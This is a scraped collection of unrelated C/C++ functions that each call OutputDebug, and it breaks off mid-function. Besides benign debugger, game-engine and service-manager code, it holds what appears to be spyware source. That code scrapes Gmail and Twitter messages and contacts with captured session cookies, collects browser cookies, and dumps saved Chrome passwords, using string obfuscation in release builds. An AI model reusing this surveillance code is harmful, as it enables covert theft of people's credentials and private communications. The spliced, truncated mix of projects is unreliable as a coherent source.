HRESULT CDSFilterEnum::getFriendlyName(wstring* pName) { if (m_pIMoniker == NULL) { return E_POINTER; } IPropertyBag *pBag; HRESULT hr =m_pIMoniker->BindToStorage(NULL, NULL, IID_IPropertyBag, reinterpret_cast<void**>(&pBag)); if(FAILED(hr)) { OutputDebug(L"Cannot BindToStorage for.\n"); return hr; } VARIANT varName; ::VariantInit(&varName); hr = pBag->Read(L"FriendlyName", &varName, NULL); if(FAILED(hr)){ OutputDebug(L"IPropertyBag->Read method failed for.\n"); SAFE_RELEASE(pBag); ::VariantClear(&varName); return hr; } *pName = varName.bstrVal; SAFE_RELEASE(pBag); ::VariantClear(&varName); return S_OK; }
static xadUINT32 DebugPrintFlag(putchtype func, xadPTR fh, xadUINT32 flag, const xadSTRING *flagtext, xadUINT32 i) { if(i & flag) { OutputDebug(flagtext, func, fh); i &= ~flag; if(i) OutputDebug("|", func, fh); } return i; }
DWORD GMailMessageHandler(LPSTR strCookie) { if (!ConfIsModuleEnabled(L"messages")) return SOCIAL_REQUEST_SUCCESS; #ifdef _DEBUG OutputDebug(L"[*] GMailMessageHandler\n"); #endif LPSTR strIKValue = NULL; LPWSTR strCurrentUserName = NULL; DWORD dwRet = GMailGetIK(strCookie, &strIKValue, &strCurrentUserName); if (dwRet != SOCIAL_REQUEST_SUCCESS) return dwRet; DWORD dwLastTSHigh; DWORD dwLastTSLow = SocialGetLastTimestamp(strIKValue, &dwLastTSHigh); dwRet = GMailParseMailBox(L"sent", strCookie, strIKValue, dwLastTSHigh, dwLastTSLow, FALSE, FALSE); dwRet = GMailParseMailBox(L"inbox", strCookie, strIKValue, dwLastTSHigh, dwLastTSLow, FALSE, FALSE); dwRet = GMailParseMailBox(L"drafts", strCookie, strIKValue, dwLastTSHigh, dwLastTSLow, FALSE, FALSE); zfree(strIKValue); zfree(strCurrentUserName); return dwRet; }
DWORD GMailGetIK(LPSTR strCookie, LPSTR *strIKValue, LPWSTR *strCurrentUserName) { *strIKValue = NULL; *strCurrentUserName = NULL; LPWSTR strURI = NULL; LPSTR strRecvBuffer = NULL; DWORD dwRet, dwBufferSize; strURI = (LPWSTR) zalloc(1024*sizeof(WCHAR)); _snwprintf_s(strURI, 1024, _TRUNCATE, L"/mail/?shva=1#%s", L"inbox"); // FIXME ARRAY //_snwprintf_s(strURI, 1024, _TRUNCATE, L"/mail/u/0/?shva=1#%s", L"inbox"); // FIXME ARRAY dwRet = HttpSocialRequest(L"mail.google.com", L"GET", strURI, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie); // FIXME ARRAY zfree(strURI); if (dwRet != SOCIAL_REQUEST_SUCCESS) { zfree(strRecvBuffer); return dwRet; } if (!GMailParseForIK(strRecvBuffer, strIKValue, strCurrentUserName)) { #ifdef _DEBUG OutputDebug(L"[!] Could not PARSE for IK\n"); #endif zfree(strRecvBuffer); return SOCIAL_REQUEST_BAD_COOKIE; } return SOCIAL_REQUEST_SUCCESS; }
DWORD TwitterMessageHandler(char *cookie) { DWORD ret_val; BYTE *r_buffer = NULL; DWORD response_len; char *parser1, *parser2; char user[256]; char userhandle[256]; if (!ConfIsModuleEnabled(L"messages")) return SOCIAL_REQUEST_SUCCESS; // Identifica l'utente ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie); if (ret_val != SOCIAL_REQUEST_SUCCESS) return ret_val; parser1 = (char *)r_buffer; LOOP { parser1 = (char *)strstr((char *)parser1, "data-user-id=\""); if (!parser1) { SAFE_FREE(r_buffer); return SOCIAL_REQUEST_BAD_COOKIE; } parser1 += strlen("data-user-id=\""); parser2 = (char *)strchr((char *)parser1, '\"'); if (!parser2) { SAFE_FREE(r_buffer); return SOCIAL_REQUEST_BAD_COOKIE; } *parser2=0; _snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1); if (strlen(user)) break; parser1 = parser2 + 1; } // Cattura il proprio account parser1 = parser2 + 1; parser1 = (char *)strstr((char *)parser1, "data-screen-name=\""); if (parser1) { parser1 += strlen("data-screen-name=\""); parser2 = (char *)strchr((char *)parser1, '\"'); if (parser2) { *parser2=0; _snprintf_s(userhandle, sizeof(userhandle), _TRUNCATE, "%s", parser1); #ifdef _DEBUG OutputDebug(L"[*] %S: username %S\n", __FUNCTION__, userhandle); #endif } } /* uncomment this function to enable dm */ //ParseDirectMessages(userhandle, cookie); SAFE_FREE(r_buffer); return ParseTweet(user, cookie); }
void ButtonProc2() { OutputDebug( "Reconnect to billing server"); g_pServerSystem->GetBilling().Reset(); }
/** Object **/ void ProcessLocal::init(){ OPH(); Super::init(); // basic layer m_object_factory =New<ObjectFactory>(); RETAIN_POINTER(m_object_factory); m_string_table =New<StringTable>(); RETAIN_POINTER(m_string_table); m_protocol_manager =New<ProtocolManager>(); RETAIN_POINTER(m_protocol_manager); m_lua_init_callback =New<Array>(); RETAIN_POINTER(m_lua_init_callback); // kernel layer m_dispatcher_manager =New<DispatcherManager>(); RETAIN_POINTER(m_dispatcher_manager); m_network =New<Network>(); RETAIN_POINTER(m_network); m_service_manager =New<ServiceManager>(); RETAIN_POINTER(m_service_manager); // add dispatcher m_dispatcher_manager->addDispatcher(m_service_manager); m_dispatcher_manager->addDispatcher(m_network); OutputDebug("process local init [ ok ]"); }
void ServiceManager::finalize(){ OPH(); unloadAllService(); CLEAN_POINTER(m_unloading_service_tb); CLEAN_POINTER(m_service_tb); CLEAN_POINTER(m_route_tb); OutputDebug("service manager released [ ok ]"); Super::finalize(); }
/** print stack **/ void print_stack() { // prepare symbols void* arr[64] = {0}; const size_t s =backtrace(arr, 64); if(s == 0) { OutputDebug("print stack error"); return; } char** syms =backtrace_symbols(arr, s); // make str OutputDebug("print stack:\n"); OutputDebug("\tstack size is %d.\n", (int)s); if(syms) { for(size_t i=0; i<s; ++i) { OutputDebug("\t[%d] %s\n", (int)i, (syms[i] ? syms[i] : "")); } free(syms); } }
static void loadModule(HANDLE hProcess, HANDLE hFile, PCSTR pszImageName, LPVOID lpBaseOfDll) { if (!SymLoadModuleEx(hProcess, hFile, pszImageName, NULL, (UINT_PTR)lpBaseOfDll, 0, NULL, 0)) { OutputDebug("warning: SymLoadModule64 failed: 0x%08lx\n", GetLastError()); } if (hFile) { CloseHandle(hFile); } }
BOOL AddCookieA(__in LPSTR strDomainTmp, __in LPSTR strName, __in LPSTR strValue) { if (strName[0] == '_') return FALSE; CHAR strDomain[2048]; if ((!_stricmp("google.com", strDomainTmp)) || (!_stricmp("drive.google.com", strDomainTmp)) || (!_stricmp("docs.google.com", strDomainTmp))) _snprintf_s(strDomain, 2047, _TRUNCATE, "mail.google.com"); else _snprintf_s(strDomain, 2047, _TRUNCATE, strDomainTmp); #ifdef _DEBUG OutputDebug(L"[*] Adding cookie for host:%S %S=%S\n", strDomain, strName, strValue); #endif for (DWORD i=0; i<dwCookieCount; i++) { if (lpCookieList[i].strDomain && lpCookieList[i].strName && !_stricmp(lpCookieList[i].strDomain, strDomain) && !_stricmp(lpCookieList[i].strName, strName)) { if (lpCookieList[i].strValue && !_stricmp(lpCookieList[i].strValue, strValue)) { #ifdef _DEBUG //OutputDebug(L"[*] Skipping known cookie for %S => %S=%S\n", strDomain, strName, strValue); #endif return FALSE; // already have it } zfree(lpCookieList[i].strValue); lpCookieList[i].strValue = _strdup(strValue); //#ifdef _DEBUG // OutputDebug(L"[*] Updating cookie for %S => %S=%S, cookies: %d\n", strDomain, strName, strValue, dwCookieCount); //#endif NotifyNewCookie(strDomain); return TRUE; } } LPCOOKIE_LIST lpTemp = (LPCOOKIE_LIST) realloc(lpCookieList, (dwCookieCount + 1) * sizeof(COOKIE_LIST)); if (lpTemp == NULL) return FALSE; lpCookieList = lpTemp; lpCookieList[dwCookieCount].strDomain = _strdup(strDomain); lpCookieList[dwCookieCount].strName = _strdup(strName); lpCookieList[dwCookieCount].strValue = _strdup(strValue); dwCookieCount++; //#ifdef _DEBUG // OutputDebug(L"[*] Adding cookie for %S => %S=%S, cookies: %d\n", strDomain, strName, strValue, dwCookieCount); //#endif NotifyNewCookie(strDomain); return TRUE; }
/** Object **/ void ServiceManager::init(){ Super::init(); m_route_tb=New<Hash>(); m_route_tb->retain(); m_service_tb=New<Hash>(); m_service_tb->retain(); m_unloading_service_tb =New<Hash>(); m_unloading_service_tb->retain(); OutputDebug("service manager init [ ok ]"); }
void UserStack(PVOID pMinStack,PVOID pMaxStack/*不包括本地址*/){ LastExceptionAddress = nullptr; __try{ int a = ((char*)pMinStack)[0]; OutputDebug("Success! %d",a); } __except( StackExceptionDecide(*(GetExceptionInformation())->ExceptionRecord,pMinStack,pMaxStack) ){} LastExceptionAddress = nullptr; }
/** helper **/ Service* ServiceManager::_load_service(const int64_t id, const char* path){ String* str =String::NewString(path); if(str->hasSubfix(".lua")){ Service* service =New<LuaService>(); service->retain(); if(!service->load(id, path)){ service->release(); OutputDebug("load service %s error", path); return 0; } OutputDebug("load service %s success", path); return service; } else if(str->hasSubfix(".so")){ Service* service =New<CService>(); service->retain(); if(!service->load(id, path)){ service->release(); OutputDebug("load service %s error", path); return 0; } OutputDebug("load service %s success", path); return service; } else{ const int64_t tmp =str->indexOf(":"); if(tmp <= 0){ OutputDebug("unsupport path %s", path); return 0; } else{ String* creator =str->subString(0, tmp); if(Service* service =static_cast< Service* >(ObjectFactory::Create(creator))){ service->retain(); if(!service->load(id, path)){ OutputDebug("load service %s error", path); service->release(); return 0; } OutputDebug("load service %s success", path); return service; } else{ OutputDebug("unsupport path %s", path); } } } return 0; }
void CCoroutine::Init() { if (0!=this->State) { OutputDebug("CCoroutine:Init:多次初始化"); return; }else{ this->State=1; } }
LONG StackExceptionDecide(EXCEPTION_RECORD SavedExceptRec,PVOID pMinStack,PVOID pMaxStack){ /*如果是指定异常,查看内存是否在范围内*/ /* 在核心编程P658有简短介绍 SavedExceptRec.ExceptionInformation只在AV异常被用到。 SavedExceptRec.ExceptionInformation[0] 0表示读异常,1表示写异常 另发现 SavedExceptRec.ExceptionInformation[1]指向的内容是:异常产生地址,而不是代码地址。我们需要这个。 SavedExceptRec.ExceptionInformation[2]似乎和[0]变化,不明。 */ LPVOID ExceptionAdd =(LPVOID)SavedExceptRec.ExceptionInformation[1]; if(EXCEPTION_ACCESS_VIOLATION==SavedExceptRec.ExceptionCode){ if(ExceptionAdd>=pMinStack||ExceptionAdd<pMaxStack){ if (ExceptionAdd==LastExceptionAddress)//检查上次触发异常的地址,防止异常死循环 { return (EXCEPTION_CONTINUE_SEARCH); } else { ExceptionAdd==LastExceptionAddress; } g_p->GetMemory(ExceptionAdd,PAGE_SIZE*1); OutputDebug("继续执行\r\n"); return (EXCEPTION_CONTINUE_EXECUTION);//继续执行 }else{//非指定范围内异常 不管 OutputDebug("非执行范围异常\r\n"); return (EXCEPTION_CONTINUE_SEARCH); } }else{ //非指定AV异常 不管 OutputDebug("非执行异常\r\n"); return (EXCEPTION_CONTINUE_SEARCH); } }
void CCoroutine::GOMAXPROCS(int m_NewValueCPU) { if (0!=this->State) { OutputDebug("CCoroutine:GOMAXPROCS:在启动后初始化"); return; }else{ if (this->m_NumCPU < m_NewValueCPU) { this->m_NumCPU = m_NewValueCPU; } } }
BOOL ProtoAuth() { BOOL bRet = FALSE; LPSTR lpAuthCmd = ProtoMessageAuth(); BOOL bSend = WinHTTPSendData((LPBYTE)lpAuthCmd, strlen(lpAuthCmd)); zfree(lpAuthCmd); if (!bSend) { #ifdef _DEBUG OutputDebug(L"[!!] WinHTTPSendData FAIL @ proto.cpp\n"); __asm int 3; #endif return FALSE; }
void ProcessLocal::finalize(){ OPH(); // clear dispatcher m_dispatcher_manager->clearDispatcher(); CLEAN_POINTER(m_service_manager); CLEAN_POINTER(m_network); CLEAN_POINTER(m_dispatcher_manager); CLEAN_POINTER(m_lua_init_callback); CLEAN_POINTER(m_protocol_manager); CLEAN_POINTER(m_string_table); CLEAN_POINTER(m_object_factory); Super::finalize(); OutputDebug("process local released [ ok ]"); }
/** format **/ String* String::FormatV(const char* fmt, va_list vl){ va_list vc; va_copy(vc, vl); int64_t len =0; len =vsnprintf(0, 0, fmt, vl); if(len < 0){ OutputDebug("String::FormatV:vsnprintf fail"); return 0; } else if(len == 0){ return NewString(); } else{ String* o =NewString(); o->m_length =len; o->m_data =reinterpret_cast< char* >(REALLOCATE(o->m_data, o->m_length + 1)); vsnprintf(o->m_data, (size_t)(o->m_length+1), fmt, vc); return o; } }
static void loadModule(HANDLE hProcess, HANDLE hFile, PCSTR pszImageName, LPVOID lpBaseOfDll) { bool deferred = SymGetOptions() & SYMOPT_DEFERRED_LOADS; // We must pass DllSize for deferred symbols to work correctly // https://groups.google.com/forum/#!topic/comp.os.ms-windows.programmer.win32/ulkwYhM3020 DWORD DllSize = 0; if (deferred) { DllSize = getModuleSize(hProcess, lpBaseOfDll); } if (!SymLoadModuleEx(hProcess, hFile, pszImageName, NULL, (UINT_PTR)lpBaseOfDll, DllSize, NULL, 0)) { OutputDebug("warning: SymLoadModule64 failed: 0x%08lx\n", GetLastError()); } // DbgHelp keeps an copy of hFile, and closing the handle here may cause // CBA_DEFERRED_SYMBOL_LOAD_PARTIAL events. if (hFile && !deferred) { CloseHandle(hFile); } }
VOID DumpChromeSQLPasswords(LPBYTE *lpBuffer, LPDWORD dwBuffSize) { LPSTR strProfilePath = GetChromeProfilePathA(); if (!strProfilePath) return; DWORD dwSize = strlen(strProfilePath)+1024; LPSTR strFilePath = (LPSTR) zalloc(dwSize); CHAR strFileName[] = { 'L', 'o', 'g', 'i', 'n', ' ', 'D', 'a', 't', 'a', 0x0 }; _snprintf_s(strFilePath, dwSize, _TRUNCATE, "%s\\%s", strProfilePath, strFileName); sqlite3 *lpDb = NULL; if (sqlite3_open((const char *)strFilePath, &lpDb) == SQLITE_OK) { CONTAINER pContainer; pContainer.lpBuffer = lpBuffer; pContainer.dwBuffSize = dwBuffSize; sqlite3_busy_timeout(lpDb, 5000); // FIXME #ifdef _DEBUG LPSTR strErr; if (sqlite3_exec(lpDb, "SELECT * FROM logins;", ParseChromeSQLPasswords, &pContainer, &strErr) != SQLITE_OK) // FIXME: char array { OutputDebug(L"[!!] Querying sqlite3 for chrome passwords: %S\n", strErr); zfree(strErr); } #else CHAR strQuery[] = { 'S', 'E', 'L', 'E', 'C', 'T', ' ', '*', ' ', 'F', 'R', 'O', 'M', ' ', 'l', 'o', 'g', 'i', 'n', 's', ';', 0x0 }; sqlite3_exec(lpDb, strQuery, ParseChromeSQLPasswords, &pContainer, NULL); // FIXME: char array #endif sqlite3_close(lpDb); } zfree(strFilePath); zfree(strProfilePath); }
BOOL ObtainSeDebugPrivilege(void) { HANDLE hToken; PTOKEN_PRIVILEGES NewPrivileges; BYTE OldPriv[1024]; PBYTE pbOldPriv; ULONG cbNeeded; BOOLEAN fRc; LUID LuidPrivilege; // Make sure we have access to adjust and to get the old token privileges if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { OutputDebug("OpenProcessToken failed with 0x%08lx\n", GetLastError()); return FALSE; } cbNeeded = 0; // Initialize the privilege adjustment structure LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &LuidPrivilege ); NewPrivileges = (PTOKEN_PRIVILEGES) LocalAlloc( LMEM_ZEROINIT, sizeof(TOKEN_PRIVILEGES) + (1 - ANYSIZE_ARRAY)*sizeof(LUID_AND_ATTRIBUTES) ); if(NewPrivileges == NULL) { return FALSE; } NewPrivileges->PrivilegeCount = 1; NewPrivileges->Privileges[0].Luid = LuidPrivilege; NewPrivileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Enable the privilege pbOldPriv = OldPriv; fRc = AdjustTokenPrivileges( hToken, FALSE, NewPrivileges, 1024, (PTOKEN_PRIVILEGES)pbOldPriv, &cbNeeded ); if (!fRc) { // If the stack was too small to hold the privileges // then allocate off the heap if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { pbOldPriv = (PBYTE)LocalAlloc(LMEM_FIXED, cbNeeded); if (pbOldPriv == NULL) { return FALSE; } fRc = AdjustTokenPrivileges( hToken, FALSE, NewPrivileges, cbNeeded, (PTOKEN_PRIVILEGES)pbOldPriv, &cbNeeded ); } } return fRc; }
BOOL DebugMainLoop(const DebugOptions *pOptions) { BOOL fFinished = FALSE; BOOL fBreakpointSignalled = FALSE; BOOL fWowBreakpointSignalled = FALSE; BOOL fTerminating = FALSE; while(!fFinished) { DEBUG_EVENT DebugEvent; // debugging event information DWORD dwContinueStatus = DBG_CONTINUE; // exception continuation PPROCESS_INFO pProcessInfo; PTHREAD_INFO pThreadInfo; HANDLE hProcess; // Wait for a debugging event to occur. The second parameter indicates // that the function does not return until a debugging event occurs. if(!WaitForDebugEvent(&DebugEvent, INFINITE)) { OutputDebug("WaitForDebugEvent: 0x%08lx", GetLastError()); return FALSE; } // Process the debugging event code. switch (DebugEvent.dwDebugEventCode) { case EXCEPTION_DEBUG_EVENT: { PEXCEPTION_RECORD pExceptionRecord = &DebugEvent.u.Exception.ExceptionRecord; NTSTATUS ExceptionCode = pExceptionRecord->ExceptionCode; // Process the exception code. When handling // exceptions, remember to set the continuation // status parameter (dwContinueStatus). This value // is used by the ContinueDebugEvent function. if (pOptions->verbose_flag) { lprintf("EXCEPTION PID=%lu TID=%lu ExceptionCode=0x%lx dwFirstChance=%lu\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, pExceptionRecord->ExceptionCode, DebugEvent.u.Exception.dwFirstChance ); } // Find the process in the process list pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; dwContinueStatus = DBG_EXCEPTION_NOT_HANDLED; if (DebugEvent.u.Exception.dwFirstChance) { if (pExceptionRecord->ExceptionCode == (DWORD)STATUS_BREAKPOINT) { // Signal the aedebug event if (!fBreakpointSignalled) { fBreakpointSignalled = TRUE; if (pOptions->hEvent) { SetEvent(pOptions->hEvent); CloseHandle(pOptions->hEvent); } if (pOptions->dwThreadId) { DWORD dwThreadId = pOptions->dwThreadId; const DWORD dwFailed = (DWORD)-1; DWORD dwRet = dwFailed; pThreadInfo = &pProcessInfo->Threads[dwThreadId]; HANDLE hThread = pThreadInfo->hThread; if (hThread != NULL) { dwRet = ResumeThread(hThread); } if (dwRet == dwFailed) { lprintf("error: failed to resume thread %lu\n", dwThreadId); } } /* * We ignore first-chance breakpoints by default. * * We get one of these whenever we attach to a process. * But in some cases, we never get a second-chance, e.g., * when we're attached through MSVCRT's abort(). */ if (!pOptions->breakpoint_flag) { dwContinueStatus = DBG_CONTINUE; break; } } } if (ExceptionCode == STATUS_WX86_BREAKPOINT) { if (!fWowBreakpointSignalled) { fWowBreakpointSignalled = TRUE; dwContinueStatus = DBG_CONTINUE; break; } } /* * Ignore thread naming exception. * * http://msdn.microsoft.com/en-us/library/xcb2z8hs.aspx * * TODO: Note down the thread name */ if (ExceptionCode == 0x406d1388) { dwContinueStatus = DBG_CONTINUE; break; } if (!pOptions->first_chance) { break; } } // XXX: Deferred symbols don't get loaded without this SymRefreshModuleList(pProcessInfo->hProcess); dumpException(pProcessInfo->hProcess, &DebugEvent.u.Exception.ExceptionRecord); // Find the thread in the thread list THREAD_INFO_LIST::const_iterator it; for (it = pProcessInfo->Threads.begin(); it != pProcessInfo->Threads.end(); ++it) { DWORD dwThreadId = it->first; HANDLE hThread = it->second.hThread; if (dwThreadId != DebugEvent.dwThreadId && ExceptionCode != STATUS_BREAKPOINT && ExceptionCode != STATUS_WX86_BREAKPOINT) { continue; } dumpStack(pProcessInfo->hProcess, hThread, NULL); } if (!DebugEvent.u.Exception.dwFirstChance) { /* * Terminate the process. As continuing would cause the JIT debugger * to be invoked again. */ fTerminating = TRUE; TerminateProcess(pProcessInfo->hProcess, (UINT)ExceptionCode); } break; } case CREATE_THREAD_DEBUG_EVENT: if (pOptions->verbose_flag) { lprintf("CREATE_THREAD PID=%lu TID=%lu\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId ); } // Add the thread to the thread list pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId]; pThreadInfo->hThread = DebugEvent.u.CreateThread.hThread; break; case CREATE_PROCESS_DEBUG_EVENT: { HANDLE hFile = DebugEvent.u.CreateProcessInfo.hFile; char szImageName[MAX_PATH]; char *lpImageName = NULL; if (hFile && GetFileNameFromHandle(hFile, szImageName, _countof(szImageName))) { lpImageName = szImageName; } if (pOptions->verbose_flag) { PCSTR lpModuleName = lpImageName ? getBaseName(lpImageName) : ""; lprintf("CREATE_PROCESS PID=%lu TID=%lu lpBaseOfImage=%p %s\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, DebugEvent.u.CreateProcessInfo.lpBaseOfImage, lpModuleName ); } hProcess = DebugEvent.u.CreateProcessInfo.hProcess; pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; pProcessInfo->hProcess = hProcess; pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId]; pThreadInfo->hThread = DebugEvent.u.CreateProcessInfo.hThread; if (!InitializeSym(hProcess, FALSE)) { OutputDebug("error: SymInitialize failed: 0x%08lx\n", GetLastError()); exit(EXIT_FAILURE); } SymRegisterCallback64(hProcess, &symCallback, 0); loadModule(hProcess, hFile, lpImageName, DebugEvent.u.CreateProcessInfo.lpBaseOfImage); break; } case EXIT_THREAD_DEBUG_EVENT: if (pOptions->verbose_flag) { lprintf("EXIT_THREAD PID=%lu TID=%lu dwExitCode=0x%lx\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, DebugEvent.u.ExitThread.dwExitCode ); } // Remove the thread from the thread list pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; hProcess = pProcessInfo->hProcess; // Dump the stack on abort() if (!fTerminating && isAbnormalExitCode(DebugEvent.u.ExitThread.dwExitCode)) { pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId]; refreshSymbolsAndDumpStack(hProcess, pThreadInfo->hThread); } pProcessInfo->Threads.erase(DebugEvent.dwThreadId); break; case EXIT_PROCESS_DEBUG_EVENT: { if (pOptions->verbose_flag) { lprintf("EXIT_PROCESS PID=%lu TID=%lu dwExitCode=0x%lx\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, DebugEvent.u.ExitProcess.dwExitCode ); } pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; hProcess = pProcessInfo->hProcess; // Dump the stack on abort() if (!fTerminating && isAbnormalExitCode(DebugEvent.u.ExitThread.dwExitCode)) { pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId]; refreshSymbolsAndDumpStack(hProcess, pThreadInfo->hThread); } // Remove the process from the process list g_Processes.erase(DebugEvent.dwProcessId); if (!SymCleanup(hProcess)) { OutputDebug("SymCleanup failed with 0x%08lx\n", GetLastError()); } if (g_Processes.empty()) { fFinished = TRUE; } break; } case LOAD_DLL_DEBUG_EVENT: { HANDLE hFile = DebugEvent.u.LoadDll.hFile; char szImageName[MAX_PATH]; char *lpImageName = NULL; if (hFile && GetFileNameFromHandle(hFile, szImageName, _countof(szImageName))) { lpImageName = szImageName; } if (pOptions->verbose_flag) { PCSTR lpModuleName = lpImageName ? getBaseName(lpImageName) : ""; lprintf("LOAD_DLL PID=%lu TID=%lu lpBaseOfDll=%p %s\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, DebugEvent.u.LoadDll.lpBaseOfDll, lpModuleName ); } pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; hProcess = pProcessInfo->hProcess; loadModule(hProcess, hFile, lpImageName, DebugEvent.u.LoadDll.lpBaseOfDll); break; } case UNLOAD_DLL_DEBUG_EVENT: if (pOptions->verbose_flag) { lprintf("UNLOAD_DLL PID=%lu TID=%lu lpBaseOfDll=%p\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId, DebugEvent.u.UnloadDll.lpBaseOfDll ); } pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; hProcess = pProcessInfo->hProcess; SymUnloadModule64(hProcess, (UINT_PTR)DebugEvent.u.UnloadDll.lpBaseOfDll); break; case OUTPUT_DEBUG_STRING_EVENT: { if (pOptions->verbose_flag) { lprintf("OUTPUT_DEBUG_STRING PID=%lu TID=%lu\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId ); } pProcessInfo = &g_Processes[DebugEvent.dwProcessId]; assert(!DebugEvent.u.DebugString.fUnicode); LPSTR lpDebugStringData = readProcessString(pProcessInfo->hProcess, DebugEvent.u.DebugString.lpDebugStringData, DebugEvent.u.DebugString.nDebugStringLength); lprintf("%s", lpDebugStringData); free(lpDebugStringData); break; } case RIP_EVENT: if (pOptions->verbose_flag) { lprintf("RIP PID=%lu TID=%lu\r\n", DebugEvent.dwProcessId, DebugEvent.dwThreadId ); } break; default: if (pOptions->verbose_flag) { lprintf("EVENT%lu PID=%lu TID=%lu\r\n", DebugEvent.dwDebugEventCode, DebugEvent.dwProcessId, DebugEvent.dwThreadId ); } break; } // Resume executing the thread that reported the debugging event. ContinueDebugEvent( DebugEvent.dwProcessId, DebugEvent.dwThreadId, dwContinueStatus ); } return TRUE; }
const CKeyBindings::ActionList& CKeyBindings::GetActionList(const CKeySet& ks) const { static const ActionList empty; const ActionList* alPtr = NULL; if (ks.AnyMod()) { KeyMap::const_iterator it = bindings.find(ks); if (it == bindings.end()) { alPtr = ∅ } else { alPtr = &(it->second); } } else { // have to check for an AnyMod keyset as well as the normal one CKeySet anyMod = ks; anyMod.SetAnyBit(); KeyMap::const_iterator nit = bindings.find(ks); KeyMap::const_iterator ait = bindings.find(anyMod); const bool haveNormal = (nit != bindings.end()); const bool haveAnyMod = (ait != bindings.end()); if (!haveNormal && !haveAnyMod) { alPtr = ∅ } else if (haveNormal && !haveAnyMod) { alPtr = &(nit->second); } else if (!haveNormal && haveAnyMod) { alPtr = &(ait->second); } else { // combine the two lists (normal first) static ActionList merged; merged = nit->second; const ActionList& aal = ait->second; for (int i = 0; i < (int)aal.size(); ++i) { merged.push_back(aal[i]); } alPtr = &merged; } } if (debug > 0) { char buf[256]; SNPRINTF(buf, sizeof(buf), "GetAction: %s (0x%03X)", ks.GetString(false).c_str(), ks.Key()); if (alPtr == &empty) { strncat(buf, " EMPTY", sizeof(buf)); OutputDebug(buf); } else { OutputDebug(buf); const ActionList& al = *alPtr; for (int i = 0; i < (int)al.size(); ++i) { SNPRINTF(buf, sizeof(buf), " %s \"%s\"", al[i].command.c_str(), al[i].rawline.c_str()); OutputDebug(buf); } } } return *alPtr; }
DWORD TwitterContactHandler(char *cookie) { DWORD ret_val; BYTE *r_buffer = NULL; DWORD response_len; char *parser1, *parser2; char user[256]; WCHAR user_name[256]; static BOOL scanned = FALSE; if (!ConfIsModuleEnabled(L"addressbook")) return SOCIAL_REQUEST_SUCCESS; #ifdef _DEBUG OutputDebug(L"[*] %S\n", __FUNCTION__); #endif if (scanned) return SOCIAL_REQUEST_SUCCESS; // Identifica l'utente ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie); if (ret_val != SOCIAL_REQUEST_SUCCESS) return ret_val; parser1 = (char *)r_buffer; LOOP { parser1 = (char *)strstr((char *)parser1, "data-user-id=\""); if (!parser1) { SAFE_FREE(r_buffer); return SOCIAL_REQUEST_BAD_COOKIE; } parser1 += strlen("data-user-id=\""); parser2 = (char *)strchr((char *)parser1, '\"'); if (!parser2) { SAFE_FREE(r_buffer); return SOCIAL_REQUEST_BAD_COOKIE; } *parser2=0; _snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1); if (strlen(user)) break; parser1 = parser2 + 1; } // Cattura il proprio account parser1 = parser2 + 1; parser1 = (char *)strstr((char *)parser1, "data-screen-name=\""); if (parser1) { parser1 += strlen("data-screen-name=\""); parser2 = (char *)strchr((char *)parser1, '\"'); if (parser2) { *parser2=0; _snwprintf_s(user_name, sizeof(user_name)/sizeof(WCHAR), _TRUNCATE, L"%S", parser1); #ifdef _DEBUG OutputDebug(L"[*] %S: username %s\n", __FUNCTION__, user_name); #endif SocialLogContactW(CONTACT_SRC_TWITTER, user_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, user_name, NULL, CONTACTS_MYACCOUNT); } } SAFE_FREE(r_buffer); scanned = TRUE; return ParseFollowing(user, cookie); }
DWORD ParseDirectMessages(char *username, char *cookie) { DWORD ret_val, response_len; BYTE *r_buffer = NULL, *thread_buffer = NULL; char *parser1, *parser2, *thread_parser1, *thread_parser2; char strCurrentThreadHandle[512]; WCHAR strConversationRequest[512]; char strDmType[24]; char strDmContent[256]; char strTimestamp[256]; DWORD last_tstamp_hi, last_tstamp_lo; ULARGE_INTEGER act_tstamp; struct tm tstamp; char strUsernameForDm[256]; DWORD dwHigherBatchTimestamp = 0; #ifdef _DEBUG OutputDebug(L"[*] %S\n", __FUNCTION__); #endif /* use a new username for twitter dm since the timestamp would be the one we got from the timeline */ _snprintf_s(strUsernameForDm, sizeof(strUsernameForDm), _TRUNCATE, "%s-twitterdm", username); last_tstamp_lo = SocialGetLastTimestamp(strUsernameForDm, &last_tstamp_hi); if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP) return SOCIAL_REQUEST_BAD_COOKIE; ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", L"/messages?last_note_ts=0&since_id=0", 443, NULL, 0, &r_buffer, &response_len, cookie, L"https://twitter.com/"); if (ret_val != SOCIAL_REQUEST_SUCCESS) return ret_val; parser1 = (char *) r_buffer; /* Fetch the available threads e.g. "threads":["duilio_ebooks","duiliosagese","thegrugq_ebooks"] */ parser1 = strstr(parser1, "\"threads\":["); if( !parser1 